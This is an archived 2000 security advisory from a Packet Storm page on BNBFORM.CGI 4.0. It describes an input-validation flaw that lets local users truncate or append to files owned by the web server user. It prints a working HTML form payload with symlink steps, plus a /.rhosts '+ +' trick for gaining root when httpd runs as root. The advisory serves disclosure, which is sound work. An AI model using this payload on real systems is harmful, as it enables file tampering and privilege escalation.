exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

004.txt

004.txt
Posted Feb 17, 2000
Authored by Suid | Site suid.kg

SUID Advisory #4 - BNBFORM.CGI. Any local user can create / append to / truncate any file owned by the web server user (nobody/apache/whatever).

tags | web, local, cgi
SHA-256 | c9aa67b4cd9ecd4e946053852b20e67d6099e04bc39c55ffe31b694f332a9f8e

004.txt

Change Mirror Download
suid@suid.kg - mini advisory - BNBFORM.CGI

Software: BNBFORM.CGI
Vendor: BigNoseBird.com
URL: http://bignosebird.com/carchive/bnbform.shtml
Version: Version 4.0
Platforms: Unix, Windows NT
Type: Input validation problem

Summary:

Any local user can create / append to / truncate any file owned
by the web server user (nobody/apache/whatever).

Vulnerability:

Building a HTML form resembling:

<form method=post action=/cgi-bin/bnbform.cgi>

<input type=hidden name=blah value=blah>
<input type=hidden name=required value=blah>
<input type=hidden name=data_order value=blah>

<!-- To truncate a file -->
<input type=hidden name=countfile value="/tmp/whatever">

<!-- To append to a file -->
<input type=hidden name=outputfile value="/tmp/whatever">

<input type=submit>
</form>

In the /tmp directory as a local user, create a symbolic link to
either /tmp/whatever.bcnt for the countfile/truncate version, or
/tmp/whatever.bout for the outputfile/append version.

If httpd is running with UID == 0, you could potentially get root
if the system honours /.rhosts by setting the value of blah to
"+ +\n". Then symlink'ing /tmp/whatever.bout -> /.rhosts Example:

<input type=hidden name=blah value="+ +
">

Of course you could simply send this in a POST request directly
to the web server. Whatever.

Ok. Have a good one.

http://www.suid.edu/advisories/004.txt

EOF

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close